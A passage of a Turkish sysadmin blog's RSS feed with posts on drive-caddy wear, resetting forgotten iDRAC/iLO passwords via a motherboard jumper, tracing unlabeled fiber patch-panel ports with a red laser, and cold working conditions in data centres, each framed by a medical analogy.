<li><strong>Yedek Boş Kızak Stoğu (Spare Caddy Stash):</strong> Sistem odasındaki dolapta her sunucu nesline (Dell Gen14/Gen15, HP Gen10 vb.) ait en az 5-10 adet orijinal, poşetinde bekleyen yedek boş disk kızağı bulunmalıdır. Bir mandalda en ufak bir esneme veya beyazlaşma (stres çatlağı) görüldüğü an o kızak çöpe atılmalıdır.</li>
<li><strong>Acil Çıkarma Aparatları:</strong> Saha çantasında bu tür sıkışmalar için ince çelik tel kancalar (extraction hooks) ve antistatik kilit açıcı pensler bulundurulmalıdır. Tornavidayla kanırtmak kural dışıdır.</li>
<li><strong>Metal Mandal Tercihi:</strong> Yeni nesil depolama ünitelerinde mandal mekanizması tamamen çinko döküm veya preslenmiş alüminyum alaşımlı metal olan kızak modelleri tercih edilmelidir.</li>
</ul>
<p>Tıpta entübasyon bıçağı kırılan hekim nasıl çaresizliğin en dibini görürse;</p>
<p>Veri merkezinde de mandalı elinde kalan sistemci, milyarlık yatırımların beş gramlık ucuz bir plastiğin insafına nasıl terk edildiğini en acı şekilde öğrenir. Donanıma saygı duyun; plastiğin de bir ömrü olduğunu unutmayın.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Donanım</category>
            <category>Sunucu</category>
            <category>Depolama</category>
            <category>Caddy</category>
            <category>Bakım</category>
            <category>SysAdmin</category>
            <category>Veri Merkezi</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/diski-yuvaya-oturturken-gelen-o-kirilma-sesi-plastik-kizak-caddy-yorgunlugu/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Şifresi Unutulmuş" Out-of-Band Kartları ve Fiziksel Jumper İşkencesi]]></title>
            <link>http://localhost:3000/blog/post/sifresi-unutulmus-out-of-band-kartlari-ve-fiziksel-jumper-iskencesi</link>
            <guid>sifresi-unutulmus-out-of-band-kartlari-ve-fiziksel-jumper-iskencesi</guid>
            <pubDate>Sun, 10 May 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Şirketten ayrılan mühendisin arkasında bıraktığı kilitli iDRAC/iLO arayüzleri; kriz anında uzaktan erişilemeyen sunucunun kapağını açıp anakartta mikroskobik jumper arama çilesi.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/sifresi-unutulmus-out-of-band-kartlari-ve-fiziksel-jumper-iskencesi/thumbnail" alt=""> Acil serviste hekimlerin en çok zorlandığı senaryolardan biri, sokakta bilinci kapalı halde bulunup sedyeyle odaya getirilen kimliği belirsiz ("Ex-ante" veya "Kimsesiz Vatandaş") bir hastadır. Hastanın cebinde kimlik yoktur, akıllı telefonu kilitlidir, yanında yakını yoktur.</p>
<p>Diyabet hastası mıdır? Kalp pili var mıdır? Penisilin alerjisi var mıdır? Kan sulandırıcı kullanmakta mıdır? Hiçbir şey bilmezsiniz. Karşınızda kapalı bir kutu gibi yatan o insan bedenini hayata döndürebilmek için el yordamıyla, karanlıkta iğneyle kuyu kazar gibi acil kan gazı alır, ultrason probunu karına dayar, tomografiye koşarsınız. Şifresini bilmediğiniz bir bedene müdahale etmek, gözleriniz bağlı ameliyat yapmaya benzer.</p>
<p>Sistem mühendisliğinde ve kurumsal BT operasyonlarında da tam olarak bu kilitli vaka çaresizliğini yaşatan, genellikle bir personelin işten ayrılışının ardından patlak veren meşhur bir saha işkencesi vardır: <strong>Şifresi Unutulmuş Out-of-Band (iDRAC / iLO) Kartları ve Gece Yarısı Yapılan Fiziksel Jumper Cerrahisi.</strong></p>
<hr>
<h3>Ayrılan Personelin Bıraktığı Sessiz Mayın</h3>
<p>Olayların başlangıcı kurumsal dünyanın en klişe hikayesidir:<br>
Şirketin tek kıdemli sistem yöneticisi yönetimle tartışır, istifayı basar veya apar topar işten çıkarılır. Ayrılırken hazırladığı devir teslim dokümanında sunucuların işletim sistemi şifreleri vardır, domain admin yetkileri verilmiştir. Her şey yolunda görünür.</p>
<p>Ta ki altı ay sonra, bir pazar gecesi saat 02:30'da şirketin en kritik hipervizör sunucusu donanımsal bir hata yüzünden kilitlenene kadar.</p>
<p>Yeni göreve gelen sistem mühendisi evindedir. Sunucuyu uzaktan yeniden başlatmak, sanal konsolu açıp ekrandaki çekirdek hatasına (kernel panic) bakmak için tarayıcısından Dell iDRAC veya HP iLO web arayüzünü açar.<br>
Kullanıcı adı: <code>root</code><br>
Şifre: Dokümanda yazan şifreyi girer.<br>
Ekrana kırmızı bir tokat iner:<br>
<code>Login failed. Invalid username or password.</code></p>
<p>Varsayılan fabrika şifresini dener: <code>calvin</code> -> Başarısız!<br>
Şirketin standart şifre kombinasyonlarını dener: Başarısız!<br>
SSH üzerinden IPMI ile bağlanmayı dener: <code>Access Denied.</code></p>
<p>Gerçek bir buz gibi yüzüne çarpar:<br>
Ayrılan mühendis, kimseye haber vermeden tüm sunucuların donanımsal yönetim kartlarına kendi belirlediği 24 karakterlik özel bir şifre koymuştur! Ve o şifre artık yeryüzünde hiç kimsenin hafızasında yoktur.</p>
<p>Sözde "uzaktan yönetim" sağlasın, mühendisi veri merkezine gitmekten kurtarsın diye tasarlanan o yüz binlerce dolarlık Out-of-Band altyapısı; şifresi bilinmediği için aşılmaz bir çelik kasaya dönüşmüştür.</p>
<hr>
<h3>Kasanın Kapağını Açmak: Teori Biter, Tornavida Başlar</h3>
<p>Eğer bir sunucunun iDRAC veya iLO şifresini yazılımsal olarak bilmiyorsanız ve işletim sistemine de erişiminiz kilitlendiyse; dünyadaki hiçbir sihirli terminal komutu sizi kurtaramaz.</p>
<p>Tek bir çareniz kalmıştır:<br>
Pijamalarınızı çıkarıp veri merkezine gazlamak, sunucuyu kapatmak, kabin rayından dışarı çekmek ve o devasa çelik kasanın kapağını açmak!</p>
<p>Sunucu kapağını açtığınızda kapağın iç yüzeyine yapıştırılmış siyah-beyaz karmaşık bir devre şeması (System Board Layout Map) görürsünüz.<br>
Fenerinizi o şemaya doğrultur, karınca duası gibi küçük puntolarla yazılmış jumper tanımlarını okumaya başlarsınız:</p>
<ul>
<li><code>PWRD_EN</code> (Password Enable Jumper)</li>
<li><code>NVRAM_CLR</code> (NVRAM Clear Jumper)</li>
<li>veya HPE ProLiant sunucularda <code>System Maintenance Switch - Switch 6 (iLO Security Override)</code>.</li>
</ul>
<p>Bu noktada sistem mühendisliği biter; bir kuyumcunun veya beyin cerrahının mikroskobik el hassasiyeti başlar.</p>
<hr>
<h3>İki Milimetrelik Mavi Plastik Parçasının İşkencesi</h3>
<p>Anakartın üzerinde iki devasa soğutucu bloğun, 32 adet RAM slotunun ve onlarca kapasitörün tam ortasında, neredeyse büyüteçle görülebilecek kadar küçük bir 3-pinli erkek konnektör ararsınız.</p>
<p>Üzerinde iki milimetrelik mavi veya siyah minicik bir plastik köprü parçası (jumper) takılıdır.<br>
Standart konumu şudur: <strong>Pin 1 ve Pin 2 birbirine kısa devredir.</strong></p>
<p>Şimdi operasyon başlar:</p>
<ol>
<li><strong>Mikroskopik Cımbız Hamlesi:</strong> Parmaklarınız o daracık yere girmez. Cımbızı veya kargaburunu dikkatlice uzatırsınız. En ufak bir el titremesinde o minicik jumper elinizden kayıp anakartın derinliklerindeki VRM devrelerinin arasına düşerse sunucuyu yakma riskiniz vardır! Jumper'ı yavaşça yukarı çekersiniz.</li>
<li><strong>Override Konumuna Almak:</strong> Jumper'ı <strong>Pin 2 ve Pin 3</strong> arasına takarsınız. (HPE sunucularda ise o mikroskobik 8'li kırmızı DIP switch bloğunun 6. anahtarını bir iğnenin ucuyla "OFF"tan "ON" konumuna itersiniz.)</li>
<li><strong>Korkutucu Çalıştırma:</strong> Kapağı kapatmadan (veya switch sensörünü kandırarak) güç kablolarını takar ve sunucunun açma butonuna basarsınız.</li>
<li><strong>BIOS Sıfırlama Süreci:</strong> Fanlar çığlık atarak döner. Ekranda şu yazı belirir:<br>
<code>Password jumper is in bypass mode. System password and iDRAC password have been disabled.</code></li>
</ol>
<p>Mühendis hemen klavyeye sarılır, BIOS/iDRAC ayarlarına girer, şifreyi sıfırlar veya varsayılan fabrikaya döndürür.</p>
<p>Bitti mi? Hayır!<br>
5. <strong>Ters Ameliyat:</strong> Sunucuyu tekrar kapatırsınız, fişleri çekersiniz. Cımbızı tekrar elinize alır, o iki milimetrelik jumper'ı Pin 2-3'ten söküp tekrar orijinal yerine, Pin 1-2 arasına takarsınız. (Eğer takmayı unutur veya ters bırakırsanız sunucu her açılışta ayarlarını unutur!).</p>
<p>Kapağı kapatırsınız, sunucuyu rafa geri itersiniz. Saat sabah 05:45 olmuştur. Mühendis kan ter içindedir, beli tutulmuştur, parmakları cımbız tutmaktan uyuşmuştur.</p>
<p>Sadece bir şifre unutulduğu için!</p>
<hr>
<h3>Kurumsal Hafıza ve Şifre Yönetimi Ahlakı</h3>
<p>Bir kurumda şifrelerin "bir kişinin kafasında" yaşaması, sadece teknik bir zafiyet değil; doğrudan bir kurumsal yönetim felaketidir.</p>
<p>Modern bir altyapıda şu kurallar demir disiplinle işletilmelidir:</p>
<ul>
<li><strong>Merkezi Kasa Entegrasyonu (PAM - Privileged Access Management):</strong> iDRAC, iLO, IPMI şifreleri asla mühendislerin kafasına veya şahsi not defterlerine bırakılamaz. CyberArk, HashiCorp Vault veya en azından kurumsal bir Bitwarden/1Password kasasında merkezi olarak tutulmalı ve her 90 günde bir otomatik olarak döndürülmelidir (rotasyon).</li>
<li><strong>Active Directory / LDAP / SSO Entegrasyonu:</strong> iDRAC arayüzlerine yerel <code>root</code> kullanıcısıyla değil; şirketin merkezi kimlik doğrulama sistemine bağlı kurumsal hesaplarla (örneğin <code>sysadmin-group</code>) giriş yapılmalıdır. Böylece bir personel işten ayrıldığı gün hesabı kapatılır, sunucuların yerel şifrelerini değiştirme ihtiyacı doğmaz.</li>
<li><strong>Acil Kurtarma Zarfı (Break-Glass Account):</strong> Her sunucunun yerel acil durum şifresi fiziksel olarak mühürlü bir zarfta şirket kasasında saklanmalı, yalnızca genel müdür veya yetkili komite onayıyla açılabilmelidir.</li>
</ul>
<p>Tıpta bilinci kapalı hastanın cebinden çıkan tek bir ilaç kutusu bile hayat kurtarır.</p>
<p>Veri merkezinde de sunucularınızın arka kapı şifrelerini belgelendirmediyseniz; en son teknoloji uzaktan yönetim kartlarınızın sizi kurtaracağını sanmayın. Gecenin bir yarısı kendinizi anakart üzerinde cımbızla iki milimetrelik bir plastik parçasını ararken bulursunuz. Ve o an, teknolojinin değil, ihmalin kurbanı olduğunuzu çok iyi anlarsınız.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>iDRAC</category>
            <category>iLO</category>
            <category>Sunucu</category>
            <category>Anakart</category>
            <category>Jumper</category>
            <category>SysAdmin</category>
            <category>Donanım</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/sifresi-unutulmus-out-of-band-kartlari-ve-fiziksel-jumper-iskencesi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Etiketi Düşmüş Fiber Patch Panel": Kırmızı Lazerle Mayın Tarlasında İz Sürmek]]></title>
            <link>http://localhost:3000/blog/post/etiketi-dusmus-fiber-patch-panel-kirmizi-lazerle-mayin-tarlasinda-iz-surmek</link>
            <guid>etiketi-dusmus-fiber-patch-panel-kirmizi-lazerle-mayin-tarlasinda-iz-surmek</guid>
            <pubDate>Sat, 09 May 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Yılların nemi ve sıcağıyla etiketleri dökülmüş kırk sekiz portlu fiber dağıtım panelleri (ODF); VFL kırmızı lazeriyle hat ararken yanlış kabloya dokunma korkusu ve altyapı körlüğü.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/etiketi-dusmus-fiber-patch-panel-kirmizi-lazerle-mayin-tarlasinda-iz-surmek/thumbnail" alt=""> Kan bankalarında ve acil transfüzyon merkezlerinde çalışan sağlıkçıların en büyük kabusu, kan dolabındaki torbaların etiketlerinin silinmesi veya soğuk dolabın nemi yüzünden yapışkanının atıp yere düşmesidir.</p>
<p>Dolapta yan yana asılı elli torba taze kan vardır: A Rh+, 0 Rh-, AB Rh+... Dışarıdan baktığınızda hepsi aynı koyu kırmızı renkte, aynı torbada durur. O sırada acil serviste bir kaza kurbanı masada kan kaybetmekte, tansiyonu kırka düşmüş can çekişmektedir. Eğer etiketi düşmüş o torbalardan birini "tahmin yürüterek" alıp hastaya takarsanız ne olur?</p>
<p>0 grubu bir hastaya yanlışlıkla B grubu kan verirseniz, antikorlar dakikalar içinde nakledilen kan hücrelerini parçalamaya başlar (Akut Hemolitik Transfüzyon Reaksiyonu). Hastanın böbrekleri iflas eder, kanı damar içinde pıhtılaşır (DIC) ve o insan yarım saat içinde sedyede can verir. Etiketsiz bir kan torbası, bir hayat iksiri değil; doğrudan bir cinayet aletidir.</p>
<p>Telekomünikasyon santrallerinde, veri merkezi omurgalarında ve kurumsal sistem odalarında da tam olarak bu kan bankası dehşetini yaşatan devasa bir ihmal anıtı vardır: <strong>Etiketleri Dökülmüş, 48 Portlu Fiber Optik Patch Panel (ODF - Optical Distribution Frame).</strong></p>
<p>Ve bu panonun önünde elinde kırmızı bir lazer kalemiyle titreyen mühendisin yaşadığı stres, mayın tarlasında körlemesine adım atan bir askerin stresinden farksızdır.</p>
<hr>
<h3>Yirmi Yıllık Spagettinin Sessizliği</h3>
<p>Bir veri merkezinin ana dağıtım kabinine (Meet-Me Room veya Omurga Kabini) girdiğinizde, gözlerinizi kabinin ortasındaki 2U'luk siyah metal kutuya çevirin: <strong>Fiber Patch Panel.</strong></p>
<p>Üzerinde yan yana dizilmiş 48 adet minik mavi (Single-Mode) veya turkuaz (Multi-Mode) LC fiber soketi vardır. Bu soketlerden çıkan yüzlerce incecik sarı kablo, kabinin yanındaki kılavuz tırnaklarına sığmayarak aşağıya doğru adeta bir şelale gibi, birbiri içine geçmiş bir sarmaşık yumağı halinde sarkar.</p>
<p>İşin en acı kısmı panonun ön yüzündedir:<br>
Yıllar önce, tesis ilk kurulduğunda bir teknisyen tükenmez kalemle veya kalitesiz bir etiket makinesiyle beyaz bir kağıt şeride port isimlerini yazmıştır:<br>
<code>Port 1: Banka A - Leased Line</code><br>
<code>Port 2: Çekirdek Omurga Uplink</code><br>
<code>Port 3: Müşteri X...</code></p>
<p>Fakat aradan geçen 8 yıl boyunca odadaki klimaların kuru havası, yaz aylarındaki sıcaklık dalgalanmaları ve nem, o ucuz kağıt etiketlerin yapışkanını kurutmuştur. Etiketler sararmış, kıvrılmış, bir kısmı toz gibi ufalanıp yükseltilmiş tabanın altına düşmüştür.</p>
<p>Panonun üzerinde kalan tek şey: Yırtık pırtık, okunaksız sarı yapışkan lekeleri ve portların üzerine kurşun kalemle çiziktirilmiş silik rakamlardır.</p>
<hr>
<h3>Gece Yarısı Kopan Hat: Hangi Port?</h3>
<p>Saat gece 01:45. Şirketin en büyük kurumsal müşterisinin 10 Gbps kiralık metro ethernet devresi aniden küt diye kesilir. Müşterinin çağrı merkezi genel müdür seviyesinde alarmlar üretir:<br>
<em>"Saniyede yüz binlerce lira kaybediyoruz, devremizi derhal ayağa kaldırın!"</em></p>
<p>Ağ operasyon merkezi (NOC) kabloyu test eder: Karşı uçta ışık yoktur. Sorun veri merkezindeki ODF panosundadır.</p>
<p>Genç bir saha mühendisi elinde yedek fiber patch kablosuyla kabinin önüne gelir. Feneri panoya doğrultur.<br>
Müşterinin devresi panodaki hangi porttadır?<br>
Dokümantasyona (Excel tablosuna!) bakar: <code>ODF-02 / Port 17 veya Port 19</code>.<br>
Panoya bakar: Port 16, 17, 18, 19 yan yana durmaktadır; üzerlerinde tek bir harf bile yoktur! Hepsinin arkasından aynı sarı kılıflı kablolar kasanın derinliklerine girmektedir.</p>
<p>Şimdi o mühendisin önünde iki seçenek vardır:<br>
Ya tahmin yürütecek ve şansını deneyecektir;<br>
Ya da kırmızı lazerle saatler sürecek o sinir bozucu hafiye takibine başlayacaktır.</p>
<hr>
<h3>Kırmızı Lazerle Mayın Temizleme Savaşı (VFL İşkencesi)</h3>
<p>Tahmin yürütmek intihardır!<br>
Çünkü eğer o etiketsiz portlardan yanlışlıkla Port 18'in kablosunu çekerseniz; o portta müşterinizin değil, şirketin tüm e-ticaret altyapısını taşıyan ana omurga switch'inin 100G uplink'i çalışıyor olabilir! Tek bir kablo çekişiyle yüzlerce sunucuyu canlı yayında öldürürsünüz.</p>
<p>Mühendis çantasından o küçük gümüş renkli kalemi çıkarır: <strong>VFL (Visual Fault Locator - Görsel Hata Bulucu).</strong><br>
Bu alet, fiberin ucuna çıplak gözle görülebilen 650 nm dalga boyunda güçlü, parlak kırmızı bir lazer ışığı enjekte eden optik bir fenerdir.</p>
<p>Telefon açılır: Diğer kabindeki veya uzak uçtaki teknisyen hatta bağlanır:<br>
<em>"Alo Ahmet, ODF-02'nin başındayım. Şimdi Port 17'ye kırmızı lazeri basıyorum, senin taraftaki patch panelde ışık parlıyor mu bak!"</em></p>
<p>Mühendis nefesini tutar. Parmakları titremektedir.<br>
VFL'in ucunu Port 17'nin arkasındaki minicik LC konnektörüne yanaştırır.<br>
Fakat kabin o kadar sıkışıktır ki, elini araya sokarken yanındaki canlı çalışan kablolara değmemek imkansızdır. Bir kabloya hafifçe fazla dokunsanız, içindeki 9 mikronluk cam bükülür ve karşı tarafta paket kaybı başlar!</p>
<p>Lazer çakılır:<br>
<em>"Ahmet parladı mı?"</em><br>
<em>"Yok abi, bende tık yok, karanlık."</em></p>
<p>Lazer Port 18'e sokulur:<br>
<em>"Gördün mü?"</em><br>
<em>"Yok abi, hala karanlık."</em></p>
<p>Lazer Port 19'a sokulur.<br>
Ve karşı taraftan o beklenen çığlık gelir:<br>
<em>"Hah! Geldi abi, kıpkırmızı parlıyor, doğru port bu!"</em></p>
<p>Saatler süren terleme, telefon konuşmaları ve stresin ardından doğru port bulunmuştur. Sadece tek bir etiket döküldüğü için!</p>
<hr>
<h3>Altyapı Körlüğünün Panzehiri: Etiketleme Disiplini</h3>
<p>Bir veri merkezinin kalitesi sunucularının markasıyla değil; kablo düzeninin ve patch panellerinin okunabilirliğiyle ölçülür.</p>
<p>Fiber optik altyapılarda şu disiplin tavizsiz bir kanun olmalıdır:</p>
<ol>
<li><strong>Kağıt Etiket Yasaktır:</strong> Fiber panellerde asla sıradan kağıt veya termal transfer baskılı ucuz yapışkanlar kullanılamaz! Yalnızca endüstriyel sınıf, neme, UV ışığına ve ısıya dayanıklı <strong>Lamine Poliester veya Vinil Etiketler</strong> (veya lazer kazımalı sert plastik pleksi etiketler) kullanılmalıdır.</li>
<li><strong>Kablo Başına Çift Yönlü Bayrak Etiket (Self-Laminating Cable Tags):</strong> Panonun üzerindeki etiket düşse bile, kablonun kendi ucunda şeffaf koruyucu katmanla sarılmış bayrak etiket bulunmalıdır. Bu etikette şu iki bilgi mutlaka yer almalıdır:
<ul>
<li><code>ORIGIN: ODF-02 / Port 19</code></li>
<li><code>DESTINATION: SW-CORE-01 / Te1/0/24</code></li>
</ul>
</li>
<li><strong>Fiziksel Port Kilidi (Port Blockers):</strong> Boşta duran ve tahsis edilmemiş fiber portlarına toz kapağının ötesinde, özel anahtarla açılan plastik güvenlik kilitleri (RJ45/LC Port Blockers) takılmalıdır. Böylece kimse boş zannettiği bir porta rastgele kablo takamaz.</li>
<li><strong>Güncel DCIM / Port Haritası:</strong> Excel tabloları ölür, unutulur. NetBox gibi modern açık kaynak altyapı yönetim yazılımlarında her bir portun kime ait olduğu milimetrik olarak tutulmalıdır.</li>
</ol>
<p>Tıpta kan torbasının üzerindeki etiketi kontrol etmeyen hemşire hastayı zehirler.</p>
<p>Veri merkezinde de etiketi dökülmüş bir patch paneli öylece bırakan sistem yöneticisi, bir sonraki arızada şirketin şah damarını kırmızı lazerin ucunda kumara yatırıyordur. Altyapınızı etiketleyin; çünkü karanlıkta körlemesine çekilen her kablo, arkasında bir enkaz bırakır.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Fiber Optik</category>
            <category>Patch Panel</category>
            <category>ODF</category>
            <category>VFL</category>
            <category>Ağ Altyapısı</category>
            <category>SysAdmin</category>
            <category>Veri Merkezi</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/etiketi-dusmus-fiber-patch-panel-kirmizi-lazerle-mayin-tarlasinda-iz-surmek/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Buz Gibi Havada Isınan Parmaklar": Sunucu Egzozunda Ellerini Isıtan Mühendisin Yalnızlığı]]></title>
            <link>http://localhost:3000/blog/post/buz-gibi-havada-isinan-parmaklar-sunucu-egzozunda-ellerini-isitan-muhendisin-yalnizligi</link>
            <guid>buz-gibi-havada-isinan-parmaklar-sunucu-egzozunda-ellerini-isitan-muhendisin-yalnizligi</guid>
            <pubDate>Fri, 08 May 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Soğuk koridorda saatlerce çalışmaktan hissizleşen parmakların 42 derecelik sunucu egzozuna sığınması; veri merkezinin rüzgar soğutması (wind chill), Raynaud refleksi ve insan-makine çelişkisi.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/buz-gibi-havada-isinan-parmaklar-sunucu-egzozunda-ellerini-isitan-muhendisin-yalnizligi/thumbnail" alt=""> Kış gecelerinde, sıfırın altındaki ayazda bir trafik kazasına veya sokak ortasındaki bir kalp krizine müdahale etmek zorunda kalan her acil tıp çalışanının çok iyi bildiği biyolojik bir çaresizlik vardır: <strong>Periferik Vazokonstriksiyon.</strong></p>
<p>İnsan vücudu soğuğa maruz kaldığında omurilik düzeyindeki hayatta kalma mekanizması anında devreye girer. Beyin ve kalp gibi hayati organların çekirdek ısısını koruyabilmek için, uç noktalara —yani el ve ayak parmaklarına— giden kılcal damarlar büzüşür (Raynaud refleksi). Parmaklar saniyeler içinde bembeyaz kesilir, buz gibi olur ve en kötüsü: <strong>Dokunma hissi tamamen kaybolur.</strong></p>
<p>Hissizleşen parmaklarınızla o buz gibi lateks eldivenin içinde ne bir damar yolu iğnesini hissedebilirsiniz, ne de adrenalin ampulünü kırabilirsiniz. Parmaklarınız adeta size ait olmayan iki tahta parçasına dönüşmüştür. O an dünyadaki en büyük lüks, hastanın göğsüne koyacağınız serum torbasının veya ambulans kaloriferinin yaydığı iki saniyelik ılık bir nefestir.</p>
<p>Modern teknolojinin tapınağı sayılan, trilyonlarca liralık veri merkezlerinin soğuk koridorlarında sabahlayan altyapı mühendislerinin de çok iyi bildiği, dışarıdan kimsenin tahmin edemeyeceği trajikomik bir biyolojik sığınak vardır: <strong>Hissizleşen Parmakları Çalışan Bir Sunucunun Egzoz Izgarasına Tutup Isınmak.</strong></p>
<hr>
<h3>Soğuk Koridor İllüzyonu: Termometre 19, Beden 10 Derece</h3>
<p>Veri merkezlerinin iklimlendirme panellerine baktığınızda ortam sıcaklığı genellikle <strong>18°C ile 21°C</strong> arasında ayarlanmıştır. Kağıt üzerinde bu sıcaklık bir insan için "oda sıcaklığına yakın, gayet konforlu" görünür.</p>
<p>Fakat pratikte yaşanan şey bambaşkadır.</p>
<p>Buna meteorolojide ve biyofizikte <strong>"Rüzgar Soğutması" (Wind Chill Effect)</strong> denir.<br>
Yükseltilmiş tabanın perfore karolarından ve tavan menfezlerinden odaya basılan hava durağan bir hava değildir. EC fanların bastığı, saniyede binlerce metreküp debiye sahip, sürekli hareket halinde olan yüksek hızlı bir hava akımıdır.</p>
<p>Üzerinizde ince bir tişört veya hafif bir hırkayla, kabin dikmesine monte edilmiş daracık bir konsol masasının başında veya yerde diz çökmüş halde üç saat aralıksız kablolama yaptığınızda; o laminer hava akımı vücudunuzdaki tüm ısıyı sünger gibi emer.</p>
<p>Ortamın bağıl nem oranı da statik elektriği engellemek için genellikle düşüktür (%40 - %50). Kuru ve sürekli esen o rüzgar, insanın eklemlerine kadar işler.</p>
<p>İki saat sonra sahne şudur:<br>
Mühendisin burnunun ucu kızarmıştır, diz kapakları sızlamaktadır ve en kötüsü: İncecik M.2 vidalarını tutmaya çalışan, fiber kablonun o mikroskobik mandalına basmak zorunda olan parmak uçları hissizleşmiştir.<br>
Tornavida elinden kayar, kabloyu tutamaz, klavyede komut yazarken parmakları tuşları şaşırır.</p>
<hr>
<h3>Sıcak Koridora Kaçış: 45 Derecelik Sobaya Sığınmak</h3>
<p>Ve o an, veri merkezinde çalışan her tecrübeli altyapıcının omuriliğine kazınmış o ilkel içgüdü devreye girer.</p>
<p>Mühendis soğuk koridorun sürgülü kapısını açar, kabinin arkasına —yani <strong>Sıcak Koridora (Hot Aisle Containment)</strong>— geçer.</p>
<p>Burası adeta tropikal bir çöl gibidir. Kabinlerin önünden çekilen o buz gibi hava, sunucuların içindeki cayır cayır yanan yüzlerce işlemcinin, devasa ekran kartlarının ve güç kaynaklarının üzerinden geçmiş; 40 ila 48 derece arasında cehennem gibi sıcak bir atık hava dalgasına dönüşmüştür.</p>
<p>Mühendis kabinin arkasında durur.<br>
En çok güç çeken, fanları deli gibi üfleyen o 2U veritabanı veya GPU sunucusunun arkasına yaklaşır.<br>
İki elini birden sunucunun arka egzoz ızgarasına, o küçük petek menfezlerin 3 santimetre yakınına uzatır.</p>
<p>Fanların püskürttüğü o sıcak, kuru hava dalgası parmaklarının arasından geçer:<br>
<em>Ohhh...</em></p>
<p>Gözlerini kapatır. Bembeyaz kesilmiş, hissizleşmiş parmak uçlarına kanın yeniden hücum ettiğini, kılcal damarların genişlemesiyle birlikte o tatlı karıncalanmayı hisseder. Parmaklar yavaş yavaş çözülür, eklemler yeniden bükülmeye başlar.</p>
<hr>
<h3>Yüksek Teknolojinin Ortasında İlkel Bir İnsan Manzarası</h3>
<p>Bu sahneyi uzaktan bir kamera kaydından izleseniz, içindeki derin paradoksa hayran kalırsınız.</p>
<p>Bir tarafta:</p>
<ul>
<li>İnsanlık tarihinin ulaştığı en yüksek işlem gücü,</li>
<li>Trilyonlarca parametreli yapay zeka modelleri,</li>
<li>Saniyede milyonlarca finansal işlemi takas eden karmaşık algoritmalar,</li>
<li>Kuantum düzeyine yaklaşan transistör yoğunlukları...</li>
</ul>
<p>Ve tam o fütüristik mühendislik anıtının arkasında:<br>
Soğuktan burnu akmış, elleri uyuşmuş, ısınabilmek için çalışan o çelik kutunun egzozuna ellerini siper etmiş, mağara çağındaki atalarının kamp ateşi başında ısınma refleksini birebir tekrarlayan yalnız bir insan!</p>
<p>Teknoloji ne kadar soyutlaşırsa soyutlaşsın; o makineleri kuran, o kabloları bağlayan, o sistemleri gecenin dördünde ayakta tutan biyolojik varlık hala etten, kemikten ve kandan ibarettir. Ve o beden, soğuğa karşı hala savunmasızdır.</p>
<hr>
<h3>Sahada İnsan Onuru ve Ergonomi</h3>
<p>Bu tablo bir romantizm veya nostaljik bir kahramanlık hikayesi değildir; doğrudan doğruya veri merkezlerindeki <strong>iş sağlığı ve insan ergonomisi eksikliğinin</strong> acı bir belgesidir.</p>
<p>Modern bir veri merkezinde insanca çalışabilmek için şu standartlar lüks değil, şarttır:</p>
<ol>
<li><strong>Termal İş Kıyafeti Zorunluluğu:</strong> Veri merkezine sıradan ofis kıyafetiyle, kısa kollu tişörtle girilmesine izin verilmemelidir. Kapıda personele rüzgar geçirmeyen (windstopper) polar yelekler, boyunluklar ve parmak uçları açıkta olan hassas montaj eldivenleri (fingerless technician gloves) sağlanmalıdır.</li>
<li><strong>Soğukta Kesintisiz Çalışma Süresi Limiti:</strong> Bir personelin soğuk koridorda kesintisiz çalışma süresi <strong>maksimum 60-90 dakika</strong> ile sınırlandırılmalı; her 90 dakikada bir personelin operasyon odasına çıkıp sıcak bir çay/kahve molası vermesi prosedürle zorunlu kılınmalıdır.</li>
<li><strong>Ergonomik Mobil Masalar:</strong> Mühendis kabin önünde dizlerinin üzerine çöküp kucağında laptopla titrememelidir; yüksekliği ayarlanabilir tekerlekli mobil çalışma istasyonları sağlanmalıdır.</li>
</ol>
<p>Tıpta ayazda elleri donan sağlıkçı hastaya dikiş atamaz; parmakları hissetmeyen hekim damarı bulamaz.</p>
<p>Veri merkezinde de parmakları donmuş bir sistem yöneticisinden hassas fiber optik montajı veya sıfır hatalı komut satırı müdahalesi bekleyemezsiniz.</p>
<p>Günün sonunda trilyonluk sistemlerinizi ayakta tutan şey algoritmalar değil; o sunucunun arkasında ellerini ısıtmaya çalışan o mühendisin üşüyen parmaklarıdır. O parmaklara hak ettiği değeri verin.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Veri Merkezi</category>
            <category>İş Sağlığı</category>
            <category>İklimlendirme</category>
            <category>SysAdmin</category>
            <category>Kültür</category>
            <category>Donanım</category>
            <category>Altyapı</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/buz-gibi-havada-isinan-parmaklar-sunucu-egzozunda-ellerini-isitan-muhendisin-yalnizligi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Jeneratör Tankında Unutulan Su ve Tortu": Kesinti Anında Tıkanan Filtreler]]></title>
            <link>http://localhost:3000/blog/post/jenerator-tankinda-unutulan-su-ve-tortu-kesinti-aninda-tikanan-filtreler</link>
            <guid>jenerator-tankinda-unutulan-su-ve-tortu-kesinti-aninda-tikanan-filtreler</guid>
            <pubDate>Thu, 07 May 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Aylarca depoda bekleyen dizel yakıtın dibindeki su ve biyolojik balçığın (diesel bug) tam elektrik kesildiğinde yakıt filtresini tıkaması; pulmoner emboli gibi jeneratörü boğan tortu gerçeği.]]></description>
